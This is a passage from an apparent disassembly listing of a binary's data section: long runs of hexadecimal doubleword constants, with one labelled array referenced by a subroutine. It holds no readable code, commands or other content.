		dd 3F08BC9Ch, 84F60EFFh, 32036F13h, 2212FF25h, 0CEA2BA49h
		dd 10E5F910h, 1DFF7581h, 9ED45A45h, 0FFC3DF3Ch,	1C8BD265h
		dd 0AFB57F0Ah, 7F09EAABh, 0AEF3DC9Ch, 0E9EC0AA4h, 677F0791h
		dd 0B5C3E5A4h, 92FFFFFEh, 0E41D7426h, 0FFF2B8Fh, 5ADC8A73h
		dd 0FFF5E2B9h, 0E7684AFh, 1D000857h, 23DBA9FFh,	0AD85E1F6h
		dd 28FEFF9Eh, 0EA42E7EAh, 58FF859Eh, 84E1F2D9h,	0FF53451Fh
		dd 1C04A42Bh, 344D609Fh, 7A39DCFAh, 0DD97CD70h,	70FF2381h
		dd 9FC81284h, 0FD1E3CB9h, 0B012730Ah, 7C1B44F1h, 0AA35FF33h
		dd 0B50162C8h, 38FF7A71h, 26EF08F4h, 0D1F335C0h, 0D1BFEA83h
		dd 0BFE0860Ah, 83E4F0DCh, 4ABFA2C0h, 9E1C284Dh,	0A882E18Fh
		dd 707F3FF5h, 61618C0Fh, 0D1F4FFFBh, 0CEE1E1DCh, 0A6FF0F3Ah
		dd 0D25E7315h, 6F10EAA1h, 85DCC7Fh, 0FC9FFFFh, 0DA033A65h
		dd 0ECC5FF4Dh, 0E96B696Ah, 3F6F0AE5h, 0FF0011AEh, 0EA0A4675h
		dd 0F316F478h, 0E26933F8h, 0BA5FC24Dh, 0FE4073ECh, 0F6FEC2FFh
		dd 0F9118174h, 27CEFFE0h, 0BACCC9Eh, 59FFD1B2h,	7709B5FAh
		dd 0FEAF3E70h, 7C5B8FFFh, 36AB6847h, 0FFDDDFBCh, 74BC074Dh
		dd 2FA2F52Eh, 92875380h, 5D33E8FFh, 4B327F83h, 0AB32FDC1h
		dd 82421CF7h, 281CFF8Fh, 0DC1DFF54h, 89843D42h,	3CEDFA9Fh
		dd 0FFBFE405h, 28458AAEh, 984EF220h, 0F43962FFh, 29CC62C0h
		dd 842CFF95h, 205AC759h, 0F1DB4970h, 0B772FF31h, 7C8F4A37h
		dd 0D7DFBF68h, 9A05F6ABh, 0CCF5BFFh, 74F0FE8Eh,	6C13FC0Bh
		dd 12B03DE1h, 85BE361Bh, 0C6FC3FCCh, 34778430h,	0CFE44B11h
		dd 0F99A3DFFh, 0B723C0E8h, 80AB4B9Ch, 0FFFEBF0Bh, 0F505E8ACh
		dd 3F51E3DCh, 14C8A6DBh, 0D13F6E08h, 17B84E9Ah,	0FFDB020Ch
		dd 0E2E418F3h, 89F75A9Bh, 7FA5888Bh, 345D6D5Eh,	855C9Dh
		dd 5FFDFDBFh, 0F85CDEFDh, 77E6BFBFh, 0FFDB0C9Bh, 3FB4C6D2h
		dd 6300E36Fh, 908751FFh, 83D21EE8h, 183DFFD8h, 0F5316532h
		dd 66A13B36h, 0DD1F7F7Bh, 0F49C5F7Dh, 0B6FFF912h, 88880F3Bh
		dd 12FAC9B7h, 9C84F504h, 17543F96h, 0FF74043Fh,	0D6093B65h
		dd 269FADA8h, 0CFA889FFh, 841FE7C5h, 557EFFEBh,	0EA918805h
		dd 6CFDE837h, 0C29DD7F0h, 477FBF62h, 5ED05BD8h,	0C08896FFh
		dd 0FCFB9966h, 5E8CFCF7h, 0E4EB8AFAh, 0FBC97F77h, 383FE9Bh
		dd 0BEBE9A28h, 0C17F1770h, 0C5D2F9E0h, 7FCE320Dh, 87950DD3h
		dd 97C2F258h, 0EED184CCh, 9F573BFh, 0C6522544h,	0E8FFC012h
		dd 0DD5F9865h, 5F5F0DD7h, 7B1F9BFFh, 8423D1CBh,	12FAFF43h
		dd 0E4D5CFADh, 94F16612h, 2F2C3FEAh, 0F27A66BDh, 62C10CFEh
		dd 82685C2h, 7FD4FFD0h,	6F3FFEA6h, 3112F621h, 0EF2AF9BFh
		dd 7F3C1824h, 3E05C7DCh, 99FF74FFh, 0F244861Bh,	8579D03Eh
		dd 9BFD7F88h, 84D02400h, 0EA3FB8A0h, 753FC71Dh,	0C006FFF1h
		dd 0E774C92Dh, 3F49DD85h, 4BACB8F4h, 0A6B786Fh,	0AD09FF40h
		dd 0C3148D64h, 0D9FE94BEh, 12879E8h, 0BFDF2283h, 0FAA4D0B5h
		dd 0C9CF8BFFh, 70E3449Dh, 0EC88FD11h, 0C01EB602h, 0E9D03F8Ch
		dd 0EEE6193Fh, 0CAFF7FA4h, 2A7A82D2h, 8C71C487h, 9067BF8Fh
		dd 57FD3F18h, 13ACEC9Ch, 7F84FFD3h, 0E62FC8EBh,	0FF796EC8h
		dd 2FC2DF37h, 0D53387E2h, 673FA084h, 0E807DBEFh, 0EDC5804Ah
		dd 6662B1BEh, 0E88BBF8Ch, 0E410865Fh, 0A9D331E3h, 51FF3F28h
		dd 9910B188h, 26FFFC74h, 6FCCFB00h, 0FB6B3BF0h,	9DAA5FC1h
		dd 157FFF31h, 88434B51h, 0BFF2B7C9h, 76FEAF84h,	0C97C0B08h
		dd 0D8979C28h, 0C30BF53Dh, 8088D872h, 88BAFCFFh, 2336F224h
		dd 773F88FFh, 3F5DF18Fh, 37C9FE59h, 0C34ABFF3h,	333FDF9Ch
		dd 850B2874h, 6FC2FF23h, 0ECC77F33h, 8CFB70CAh,	0C0BFDD19h
		dd 0FFBFC7E3h, 0C20E8C9h, 3F978172h, 77E1727Fh,	0FFA01125h
		dd 46FA3A12h, 0E61172E3h, 6EFD3F18h, 0F05CBEFFh, 9D37226Fh
		dd 973F0C01h, 91A163FFh, 0D2EAFF82h, 306C0CA2h,	6386AACCh
		dd 0FFA6FABFh, 67192111h, 73D63F3Fh, 637AFF3Fh,	53D1AC91h
		dd 1145FCFAh, 0AE3E7877h, 0DACEBF6Fh, 0C0E6FFF9h, 0F2BC4BC6h
		dd 65EA80FCh, 225066C7h, 0E4B4BF9Fh, 8183F05Fh,	7FBFBB32h
		dd 7C23C573h, 0E5EDE93Dh, 747A3F1Eh, 0AFDF9FA9h, 94C7CAh
		dd 8FBFDEB7h, 0BFF9ACD1h, 318A057Fh, 0FFAE7E94h, 966337F7h
		dd 6B08275Dh, 0D659EAF6h, 6BE7BF91h, 0BF148D06h, 5886ECABh
		dd 0B122CF7Fh, 9AE902F1h, 7FFA127h, 9DFFBF42h, 0E3B98025h
		dd 0C1B191EEh, 0FFD78FBFh, 0FF35220Bh, 36171D9Dh, 2257E62Eh
		dd 19E2F5EBh, 0A7687A3Fh, 804858C4h, 51C03FDFh,	0F0B2E4A6h
		dd 9DF77F7Fh, 22D2045Dh, 0FDFF108Dh, 245D240Fh,	0FF630C1Dh
		dd 0FEC223C9h, 40E4B271h, 15EA368Dh, 0F03F6EB4h, 0E53FDF4Fh
		dd 0FE853298h, 34F380D9h, 378680B3h, 4D4F9BFFh,	3F1DEDBFh
		dd 0FFCE859Dh, 0BF3A0ED2h, 2BD094F0h, 0B9DDFF37h, 0AE02FFE4h
		dd 72B8C31Eh, 6A835E89h, 42C3757Dh, 0DF0F3FB1h,	0F48594F4h
		dd 7F0221FDh, 24B7D9F1h, 0B3173FBEh, 240DC587h,	7DAAAFFCh
		dd 0BF2CEE3h, 94ADCC7Fh, 9308F5FFh, 0DE6F308Fh,	0F0BF1713h
		dd 582EF97h, 28FFFFBFh,	5BEF0C1Fh, 14A5057Fh, 0EAD1D2BFh
		dd 784F32FFh, 4AE6E993h, 293CFFBFh, 0B5C48626h,	7F7AB729h
		dd 0A3FF3DCAh, 91FF4D8Bh, 0E1CF17F2h, 0FF449149h, 0BFB13F97h
		dd 0B45CB2FFh, 0B4B5349Eh, 9283E362h, 531FBF31h, 85154511h
		dd 2EC03FF5h, 5A3FFD54h, 0FF6FCEEBh, 0F565C103h, 87FFA273h
		dd 53BB3FBCh, 455C2F73h, 0FEFE3Bh, 913B888Bh, 7F3BFAC8h
		dd 61F8CC0Fh, 7B58C921h, 29C0FFDFh, 55FDE051h, 472E404h
		dd 0F7FFD6D7h, 18F6EB7Fh, 4FF67C4Ah, 0FF0B32F0h, 8353FA62h
		dd 0C66C9E7Ch, 0FF0791FFh
		dd 0C003BF03h, 41DC1160h, 0FF6EE113h, 0BFDD1F41h, 3F8FEDCAh
		dd 0E3004F70h, 0F4680C55h, 6E691FBFh
dword_4B8158	dd 6E51555h, 3E8ABBFFh,	0C075FF97h, 0F4B623BEh,	0D3EF7D23h
					; DATA XREF: sub_410430+26Fo
		dd 0F0FF163Ch, 0D7E2089Ch, 8970BF36h, 93CEBFDFh, 0BDA97486h
		dd 9B3F7898h, 473F5C3Fh, 0DD7F2F58h, 32A68446h,	76B3FFFFh
		dd 0DCDDA863h, 0F7FEB0F4h, 60C75F42h, 0FFB7B181h, 24FFECDAh
		dd 73EE387Fh, 6E90FE42h, 0DB412BFh, 5BE3A334h, 7E3FC86Ch
		dd 0BD5488CAh, 0A33FBB70h, 2E73FFB8h, 65ABAEBDh, 3D852819h
		dd 0C627FFFFh, 15121D2h, 5AE1F469h, 1F3FA485h, 86062B40h
		dd 7EBFBCA4h, 23A1AA76h, 7FB14678h, 0E1E0BEFBh,	0FA7F1186h
		dd 0F161AA09h, 65BFFD74h, 74BF3BAAh, 8C0920B4h,	0FFEC2E7Fh
		dd 9C81397Eh, 0EB46749Eh, 2A6CFF0Ch, 0D6ACE4BFh, 719AFD7Fh
		dd 0BC18233Dh, 3464F47Fh, 27C97F23h, 59713727h,	0C292CBF2h
		dd 0F058FFC1h, 2FFE4473h, 75C4E700h, 9374BF99h,	8C339E5Bh
		dd 8FB83F0Bh, 5FFE3F10h, 0E5A1B801h, 7FB770CEh,	0A6FF4FE3h
		dd 0B1C98E6h, 0F8E75A4Fh, 0E2FD225Fh, 9C7F5F9Ah, 898474A9h
		dd 151F7F3Ah, 855C584Dh, 7BC6FF7Eh, 41FE7F5Fh, 5BFBFBB9h
		dd 9CBF3152h, 0CE3F1B29h, 7540B0FEh, 0E17BE9D0h, 4C7A3F17h
		dd 0C9E03D12h, 0EC3F6D77h, 747F2EA4h, 0D89B95F3h, 3A9A8F0Ah
		dd 7FB1A23Fh, 7F0D469Ch, 0CD36F4DCh, 3E2E830Ah,	3F97AD10h
		dd 0CDFD2B97h, 0E0F2025Fh, 0AAFF63B6h, 0F682F33Fh, 0E31E6AA5h
		dd 0FFAB6638h, 0F3ABDB7Fh, 13DFAF4Fh, 0C3DAFC3Fh, 58FF396Dh
		dd 0C80ECF7Fh, 0C2BFCF85h, 0E1110188h, 193FE4F2h, 283BFFB4h
		dd 0C263A8F4h, 81D47F5Bh, 0FE84740Dh, 6DA24F7Fh, 9F3F3721h
		dd 27C9E06Eh, 0BF7F749Ch, 0BE747F7Fh, 0EAFF3D11h, 70190377h
		dd 0FE3AC4A1h, 0EF0B2D02h, 0B7E3483Dh, 6F35974Dh, 0CDFE0507h
		dd 8108FF6Fh, 0C686C324h, 0B4A8FE7Fh, 0E18507E7h, 0EC46BF05h
		dd 0C00B63F4h, 27FD3FDFh, 0F064558Ah, 48893ADFh, 67513F6Fh
		dd 9A5CC2DBh, 18E0FF3Fh, 84AC53C9h, 453DFE85h, 8AD1C8E1h
		dd 0FBFF1A74h, 9A533F3Eh, 7F97AF3Fh, 0F46E478Fh, 0BF11C824h
		dd 28636492h, 0FFB8FDBFh, 7FBF282Ch, 633B006Fh,	5A62C295h
		dd 0FFB531BFh, 9A407B3Fh, 0FF13EEFEh, 0C8BFC458h, 0D7B27CB8h
		dd 0FFBF0884h, 0E6E0C04Fh, 0F779CF5Eh, 0CC6F75ABh, 69C07CBFh
		dd 6FFAF899h, 17FE3A3Fh, 3633CCE1h, 0DD0D6A3Fh,	9FF5356Dh
		dd 483E7BFh, 5DBE86E0h,	0FF6ABFD0h, 0EB583417h,	5C3703F0h
		dd 41765DE1h, 0B603096Fh, 6E9850E5h, 57A27C27h,	5AC55790h
		dd 7D5B23D5h, 46876B03h, 56640BB1h, 4D0FED4Dh, 84FDEF0Ch
		dd 0D444182Bh, 18064EFBh, 0ED84B120h, 546C75CBh, 21DC02E8h
		dd 8446CE0Eh, 0B1F3860Ah, 0EB822311h, 39C31EC7h, 2B1B1D77h
		dd 0E3044D2h, 4EF26684h, 8E1B79DBh, 84CA5F3Ch, 73323AC9h
		dd 0EAC330B6h, 0C4850509h, 9B890663h, 0F7896C22h, 0F2F71412h
		dd 396E2858h, 21CCFEE8h, 0B6B91F46h, 0A9F0BAB3h, 5CFFBBA7h
		dd 29D9CEC1h, 7A38A923h, 1163B286h, 41986794h, 0F2C5F688h
		dd 95A8FD05h, 0ABD253Bh, 0FB0A1BB9h, 0C4A1489Eh, 601DE4ECh
		dd 0E8EDB078h, 1ADC84EDh, 0C47A9350h, 162C87DBh, 0FA1F4232h
		dd 0F4C1C8D1h, 8516084h, 631BA819h, 0C8689E2h, 4C08C40Bh
		dd 11DC3D2Dh, 0FEC7B80h, 0BE6A0D33h, 40E2D411h,	12111B2Dh
		dd 0C9489D10h, 0EA8933CDh, 3E003252h, 1BC69D1Ch, 8880C92Fh
		dd 0D81F43A2h, 0D5100C0Fh, 0DF0526BCh, 0B9717010h, 0BA02B825h
		dd 0FF0DDA2Eh, 12C63AFBh, 4C87A475h, 0A8C08881h, 46C25C74h
		dd 2BC23D18h, 0C605D0DBh, 90978B83h, 57C27202h,	4242D70Eh
		dd 0AAB9E3E4h, 8B1E309Ah, 6335BDCh, 4323891Dh, 1B897DE2h
		dd 0C3F3F7CDh, 5BAD3A58h, 9A6DEE85h, 0C0B11497h, 15C89D7Ch
		dd 0F203DF8Fh, 924BE33h, 6D1CEB4Eh, 3B7FA203h, 0DDC0D35Dh
		dd 250BCEE2h, 9FC92BC2h, 70F2942Ch, 0B0250EE5h,	0E075C841h
		dd 4D97045Ch, 945F3033h, 8F2B413Bh, 21891C06h, 98952DFh
		dd 0F1B9F72Ah, 194BF58h, 0ED667D59h, 0B38799FFh, 4817A2A1h
		dd 5F5FF00h, 10A63C2Ah,	1BFF7354h, 0ECEC8D78h, 0FFF2F0CDh
		dd 0AD0FFD75h, 758370C3h, 9C10D4FFh, 77ABCC20h,	58CBFF27h
		dd 5D137C1Dh, 43FF0BEEh, 6CC61624h, 0FF99EAE7h,	630ED4EFh
		dd 0AE8F897Ah, 0D185A0FFh, 24721C83h, 0EE35FFDFh, 0F9802B5Fh
		dd 50FFAD59h, 4B99C261h, 0FFCCF2C6h, 276283CBh,	5EFD62ADh
		dd 0FBBD09FFh, 6164CD16h, 77ADFF32h, 7DE9BDF9h,	0DEFFFCC4h
		dd 0CC61724h, 0FF7B87D1h, 78AD300Dh, 3A5FBE63h,	4B8699FFh
		dd 2415AB42h, 23D7FFE0h, 2E881E48h, 0FDF7E242h,	3FCDAB96h
		dd 8393D47Fh, 4CE28F63h, 27409AFFh, 8D1BDCDBh, 0F176FFB4h
		dd 0BCF957D7h, 5E5482Bh, 84FFFED7h, 0AE78A7A1h,	972171D8h
		dd 6F1FD40Ah, 0A2874BBFh, 0C99E16FFh, 77DD00Ch,	77DBFFBDh
		dd 0E04332CBh, 240A2DB7h, 8165BFDCh, 0C6FBC6B3h, 7FE0992Dh
		dd 37BFB70Dh, 5A7FBF3Fh, 3FDDB7BDh, 93350D3Ch, 0CDE0FFD2h
		dd 70FFB7C2h, 8DC067F1h, 0FEDBDB1Dh, 4C5C8209h,	47818FC4h
		dd 81E7CC1Fh, 0CD4306Dh, 0DEEEBF5Dh, 6CB708FAh,	0CE52E8EDh
		dd 0BFB3D97Fh, 0FB3F873Fh, 0F9CBFE06h, 853F7F5Dh, 0B72CB7B7h
		dd 0B8403FEAh, 16B77423h, 52B73ABFh, 3FAFDD2Bh,	6C1DDBA6h
		dd 9127ED7Fh, 0BE5ADEFFh, 70A796B4h, 0F53F6EFCh, 7F9E7068h
		dd 167F645Eh, 0C227BDDDh, 0EC7C995Eh, 9EBF61B6h, 0D42EF31h
		dd 0FF3CB746h, 7F0EAD20h, 98897FC7h, 6FAC39FFh,	0FFECB0D8h
		dd 3FA98642h, 0D45B19CBh, 673F7497h, 0F8CEABF6h, 0C33F7FFBh
		dd 82994C29h, 0DBE6C8E1h, 3FCF6D7Fh, 4FCEC91h, 943BC96Fh
		dd 1EBF2C17h, 0DBDC3CB9h, 6F8523Fh, 0DB24B96Ch,	9E893F4Fh
		dd 0DC228D3Eh, 22D808FFh, 973FDF7Fh, 50DB2B80h,	8D062B61h
		dd 0F06FA04h, 89240C01h, 661E0078h, 0C8A05858h,	306ABE58h
		dd 5AC2A059h, 0A80B6427h, 0AF003219h, 25B9890Fh, 8684411Bh
		dd 0E68380Fh, 84850FFDh, 41000021h, 800E8D81h, 0D519CEE9h
		dd 7CA76977h, 8012D0B1h, 0ECD590B0h, 47EF6BF6h,	805D723h
		dd 8B667EABh, 0C2D30650h, 0C41005DBh, 80051E00h, 5830F900h
		dd 0A805C36Dh, 23D23018h, 18DA2BD4h, 0FFE11D1h,	0F707FBBAh
		dd 2DA21EDBh, 42FFDC00h, 6CE41942h, 2C286009h, 0F7880E17h
		dd 6EFCFE17h, 0F853DB1Bh, 0A5C5A804h, 9761AA1Bh, 0F7004BE1h
		dd 5BF685F3h, 0B8D57B0Ch, 7F260848h, 5034C681h,	6F504F0Dh
		dd 0BE0F6A32h, 0BE850BC0h, 2AFF1B1Eh, 7F7F8AC8h, 0F25FDEBCh
		dd 0F7E981FDh, 0DD689399h, 0C832333Ch, 93C70CB8h, 0C8AE180Bh
		dd 0EA2B63Ah, 927E72Bh,	0B883F77h, 0F3077F05h, 0DEF7F343h
		dd 0F37B7D48h, 0C73B18BFh, 6FFB70Fh, 755E7D16h,	0A514BDA5h
		dd 76ECBF7Bh, 95E56F11h, 1FAA971Fh, 0AD644D26h,	0D139FC2h
		dd 8BF7D826h, 2B8E7D74h, 2F21F050h, 0AC207B16h,	17FD1BD7h
		dd 5236A075h, 1E6937ECh, 245B2BE1h, 63E54235h, 0D1890330h
		dd 9CD43EFCh, 950EC638h, 40C21C10h, 346074B2h, 55D8ABC9h
		dd 84D81028h, 0D863685h, 0B9C3E333h, 0E912B624h, 5E3C21A9h
		dd 968810AAh, 196C0B90h, 2C9C9B4Bh, 0FE8756FEh,	0E323C18Bh
		dd 7DDD7DE1h, 94F98303h, 2B935C8Eh, 8A71BF10h, 5E828416h
		dd 291EF22Ah, 9A49DE0Dh, 2AEB30EAh, 33EEF184h, 79077D52h
		dd 0A332EE83h, 0E54328D3h, 570CA0DBh, 0F0193F87h, 0CEC82303h
		dd 2A173A46h, 0E89BD667h, 43F33265h, 12F6B349h,	81FF40D0h
		dd 8599DE5Eh, 0EEF4E79Eh
		dd 36882A6Dh, 0A484DCC9h, 0BCB1D14Bh, 8FED25DCh, 0DFAC60B5h
		dd 60460FEEh, 0B19E8F49h, 9DD5F718h, 30A05F09h,	88655DF6h
		dd 0ACE10617h, 7DB742C0h, 575B595Ah, 0EFB2D903h, 37E605Bh
		dd 11473B40h, 15E0AC54h, 26BC369Bh, 89CD0852h, 764E41BCh
		dd 0AA8011F7h, 3D4290FBh, 0A71B0F49h, 8BF41B21h, 0C2413338h
		dd 900D56B1h, 12596976h, 43CB552Dh, 0AD576A3Ah,	143608E0h
		dd 10355FC2h, 5E0C13Ch,	6A133621h, 81370484h, 12904E00h
		dd 4850AE3Ah, 87485106h, 1DD554FFh, 0D2852003h,	13087667h
		dd 3C1BA04h, 934BEB96h,	0EBF02AB0h, 0C4960124h,	0B73BB100h
		dd 5B1635F1h, 474901B3h, 7E8DF6AAh, 2040D501h, 0D8993F0Bh
		dd 0C085E910h, 1A0F7B60h, 6A3B3100h, 0C951266Dh, 68B48109h
		dd 37B0C226h, 8E7AD652h, 7AC34E8Bh, 3CCA49CFh, 1D2F4D74h
		dd 87FB996h, 67F3C144h,	337D8651h, 5CAF9C8Bh, 2CA86100h
		dd 419E3822h, 3D22540Eh, 3C4CA5CFh, 75514F00h, 1B38F9B2h
		dd 0FA3EF29Fh, 4DCBD2Eh, 6136B231h, 2A120B0Fh, 0E01BB96Ch
		dd 0E2C5683h, 859F6431h, 16FD86A2h, 0BD391D29h,	0A3453B0Dh
		dd 8B365B7Fh, 0C101E246h, 0B2374BF6h, 0CF6CE3F0h, 0CD92E3CDh
		dd 2136BCB1h, 0B3B9E08Ch, 0CAF12801h, 2179060Dh, 0A749063Ah
		dd 0D82113CCh, 0E0C416CAh, 0D271C87h, 84F62B22h, 133B148Dh
		dd 49783FA9h, 8304F475h, 0E8AF8A9h, 305C683h, 688B035Ah
		dd 0D1A603E1h, 0AFB44F26h, 5131BA7Eh, 502688C2h, 812B9604h
		dd 0BE089552h, 40075FFh, 0E8EBAB96h, 860BBB7h, 617BAB11h
		dd 0F0701608h, 97001782h, 0CE18EFB2h, 0ABD46837h, 38E60D4h
		dd 10D90EE9h, 43406815h, 3000DC7h, 480746E2h, 99186224h
		dd 0F6E02CCBh, 0BD0380C1h, 0E959AD37h, 1BCB375Ah, 0F1F277BEh
		dd 0EE7B704h, 0FC10523Ah, 8710601Ch, 94E203CBh,	642CC3A0h
		dd 0C6219694h, 13C97009h, 0FB87588Ch, 0ED6EBF3h, 3C9E311Bh
		dd 9245FF61h, 9209C617h, 423C908h, 0BC7E8E6Dh, 3B852C30h
		dd 0B264CF04h, 0E8884A3h, 94E91ECFh, 0A36C4628h, 2D3E22DEh
		dd 93E07A0h, 923BD0B5h,	2C9CC75Eh, 19DA865Dh, 0E90189F8h
		dd 357C0101h, 0A63A7918h, 53B3F833h, 43D1DF91h,	0FB0FB12Eh
		dd 82577C50h, 88AB6400h, 0AC5420B2h, 0F9671585h, 2541E00h
		dd 13F46BDAh, 778BA181h, 2C898009h, 707E1660h, 0B054AF4Ch
		dd 785BDD84h, 0B789830Fh, 0C7920331h, 0D1407CE1h, 57B1D1A2h
		dd 0FD04D182h, 613F4B6Ch, 102F57DCh, 28D167E7h,	0DF46A767h
		dd 594AD98Fh, 96761618h, 0E86D0F69h, 3DA7F33h, 0CE87F25Ch
		dd 91BB724h, 0E8B1D4E8h, 97CAC21h, 73D546F8h, 2F41BE89h
		dd 8328826Eh, 0BC31C6BBh, 0CC036EF5h, 0A021C6B2h, 2BD99E12h
		dd 35E168EBh, 3F5C813Bh, 0FEB18827h, 125A6240h,	0A0186CD1h
		dd 0A2EA01BEh, 0F9E57ACh, 92A63803h, 0FFFB85F0h, 0F0A81FFh
		dd 8014E38h, 0EF8D040Bh, 1851F0h, 5F118400h, 7AF99CE9h
		dd 3145687h, 0C085CEE5h, 7152D3FDh, 0E59F710Dh,	488E833Dh
		dd 66DAF093h, 0B2EC9AB7h, 5BD5F7CAh, 164AD87Fh,	0E883A8C0h
		dd 8C578051h, 56702A1Dh, 0C0901052h, 5D7D964Ch,	16148C31h
		dd 0CB6A8260h, 48096378h, 3AA43A64h, 8B4D8E54h,	0FA1202FBh
		dd 0F420042Ch, 6C09E47h, 1EB4200h, 22D70339h, 0B8FB6C15h
		dd 84803860h, 83F02BF0h, 0B84A07E2h, 80308FFh, 0D0A5F342h
		dd 8110EC36h, 0A02B0BF4h, 26AC21ACh, 1C03E994h,	854782A8h
		dd 6CAC7045h, 4F28B7AEh, 0C2ED03AEh, 0ED04D985h, 26ADA19Fh
		dd 987391C5h, 168E4954h, 0D1C0D6Ch, 88B01B0Eh, 8F02F030h
		dd 8221544Bh, 949A242Bh, 5511039Ch, 242C7496h, 6F7D9242h
		dd 1CD74CB6h, 0D1400381h, 85D8C360h, 663A3F9Ch,	6DC38BABh
		dd 0E27C303h, 0DD22D040h, 4980D30Ch, 16A0159Fh,	2B37D79Ah
		dd 1B4B679h, 0C38AF727h, 5F612AAAh, 0B6E85008h,	89038E47h
		dd 5024FA82h, 692BC61h,	87120A2Fh, 0F4531C5Bh, 0C3AB07EEh
		dd 3C055346h, 11AAC1B0h, 791B113Fh, 582F6EE0h, 1C5630C9h
		dd 36270F02h, 37A70840h, 797C033Fh, 724C68Ah, 3F6A9441h
		dd 0B4F00Ch, 32AB8866h,	0C388015Eh, 0E20B2D30h,	0CAA68B0h
		dd 57F2282Ah, 0B27110ABh, 511F66B0h, 0C8200B82h, 0C3B03F30h
		dd 30FE28Ah, 786370D5h,	471D05E6h, 167403D4h, 3EA62317h
		dd 0E81A977Eh, 155EA912h, 24388958h, 556FE168h,	1CDD7906h
		dd 0F02F8C9Dh, 0B1A62103h, 3C8B175Dh, 0DDE70E28h, 8CF4C41Ch
		dd 3F152C12h, 148BC923h, 0E62631B7h, 4A8B75Fh, 0FDBA7067h
		dd 1CC6AC39h, 84FAC9F2h, 5CF4501Eh, 8A0C278Ch, 38C11864h
		dd 0FAE34847h, 927DC8C3h, 25000001h, 0B309B1E8h, 0A9E0352Eh
		dd 28AB5AB5h, 3D98711h,	35F8ABEFh, 0C924A086h, 0C2426C12h
		dd 48C11D1Bh, 0F1C32865h, 62499DB2h, 0BB198C43h, 4F2DFC78h
		dd 8A2CA64h, 0FA291430h, 7500FE80h, 818235Fh, 11246B4h
		dd 69C2F63Bh, 0F4C4056Dh, 41587218h, 0D4511A46h, 0B1ADAB81h
		dd 0E887EE9Bh, 8CFFFFFEh, 0E9FB0021h, 7729FC89h, 7F4200B8h
		dd 0D8F6C28Ah, 0A208C8C1h, 233230ABh, 55A00804h, 5B5200A6h
		dd 8ED0303h, 0C115CBB4h, 0CD462584h, 9D3EA4E9h,	621CD7ECh
		dd 0FCE54BDEh, 8B182F40h, 0F709ABD7h, 3BF8F084h, 0E647FE74h
		dd 2DBE57D3h, 512B2F31h, 0E9B0E41Fh, 478DFDAAh,	2BCE0304h
		dd 0ABD872B8h, 65093BABh, 0E09D8153h, 79DA1670h, 20B512C6h
		dd 0EB105113h, 8644AC1Eh, 718910A6h, 2986C466h,	7B151B1Ch
		dd 2F7F749Bh, 3A897F95h, 0BBB52C3h, 162C31A1h, 0F6AC08E5h
		dd 469135Fh, 152F96FBh,	5B1B335Bh, 63733DC2h, 0BDE91A46h
		dd 0EFEE5EC5h, 73EF504Eh, 0D46619B5h, 0D3D28DBDh, 0C3CD1163h
		dd 0DEF90205h, 79062A05h, 804481C3h, 0B12C6DEh,	3BAC7FDCh
		dd 0D08B068Bh, 75CC3CE0h, 0C9C7304Eh, 46AB84D5h, 7E132AF8h
		dd 1602DE7h, 54C21FDAh,	0AAF090B0h, 4474E9ACh, 95A7683h
		dd 86D631A1h, 240DC628h, 8DB4A3CFh, 2A30036Eh, 2C7A95F8h
		dd 25245E2Ah, 5744AB5h,	505B100Ch, 66F0FBE4h, 0C800F3Dh
		dd 0ED30A76Fh, 9E83CFEh, 0EDEC9DA7h, 3B5F74C2h,	0DE03CDBh
		dd 0F0177F8Fh, 96D703Ch, 66404F85h, 38FF25EDh, 10FFF730h
		dd 29057A74h, 56747F42h, 235E8h, 0C60B4805h, 9276AC0Fh
		dd 23B4DBCh, 527C0CB1h,	3F0A3455h, 0F3915934h, 0B9E9A4E3h
		dd 0FB399BBCh, 0B8AB0190h, 51341E7Bh, 0CC0FDDF7h, 0A496150Ah
		dd 1EEF1497h, 351CD50h,	3F7C42C6h, 70D9323Fh, 0B56C01A8h
		dd 0F15348D2h, 0F4889966h, 5606421Bh, 0C63497D8h, 1413CB7Fh
		dd 4370DB58h, 0D84B95F1h, 0EDC68BC4h, 0B0E60164h, 5037FE03h
		dd 1ED817ADh, 7608DE82h, 0C4697709h, 0AD087C7Bh, 0DA6C1938h
		dd 0B58E0C8Fh, 0AB205049h, 458B0311h, 8960DE27h, 169F1B5Bh
		dd 0A3050B06h, 31D02E49h, 0EDD98D94h, 5E23E211h, 0E39EE3CDh
		dd 1F7CFF44h, 0C5E67EBh, 4DD67064h, 0C033086Fh,	607ED8B2h
		dd 4077307Ch, 21D1AF9Ch, 0B0BEF656h, 6D7477E9h,	42A5739Fh
		dd 691446E2h, 70F81431h, 63470188h, 3387B919h, 7AB4A637h
		dd 0F7C62BF8h, 0F232ABD8h, 27C6DDDh, 0BA880D28h, 4117B003h
		dd 8B0B0B67h, 1436DFA0h, 0DC1ACFCAh, 3E824278h,	0FAF14303h
		dd 0EB86F73Eh, 0FF19D40Dh, 595F5E5Ah, 4CB58BC3h, 0CE0B6Bh
		dd 643A0887h, 0B803203h, 1F940D00h, 11240843h, 360200B0h
		dd 80E9Fh, 108003C1h
		dd 0C1179157h, 0BC933220h, 378A7B94h, 3016C00h,	5F416CA8h
		dd 603411Bh, 81854240h,	20020E00h, 20BB17C0h, 0DF602103h
		dd 5890204Dh, 0B2A3DF2Ch, 87850320h, 2F1902F7h,	0B0174308h
		dd 0B7C2C003h, 5803B245h, 231F6C77h, 0BF1B2F61h, 20027628h
		dd 0C14257h, 180708B0h,	56FC808h, 0FFD80391h, 61222F00h
		dd 3900B007h, 7D2828FFh, 2000h,	404C0394h, 93C80895h, 2B8741E3h
		dd 5F1B1F61h, 4D473600h, 58278041h, 591F4Ah, 5421FF43h
		dd 0D22B5B3Fh, 80FFC02Bh, 18AF7E2h, 0FF140B41h,	8C2F683h
		dd 0F63CF275h, 3C3274FFh, 3C2E74F7h, 3774FFCDh,	40740F3Ch
		dd 80EDC6F6h, 0ED044E75h, 1E6F7540h, 507520EDh,	58046F09h
		dd 2B8AC18Bh, 81F59D8Dh, 0DF0707E2h, 0C602C29Ah, 80DBC35Bh
		dd 0ED0128CEh, 7D27538h, 0CDEB80EDh, 8001ED04h,	0C5B42639h
		dd 0C0E15B07h, 83945A7Fh, 2904B700h, 0FFFFFA83h, 0C28BB175h
		dd 0D180D1EBh, 20BB20F6h, 7F06AB75h, 80A6EB21h,	576F02F2h
		dd 6FA87510h, 0A3EB0607h, 650C116Bh, 7A0B5C6h, 389B0CB7h
		dd 0DBE08A68h, 7D9F07F5h, 8374C0FCh, 3C2D24FFh,	76057504h
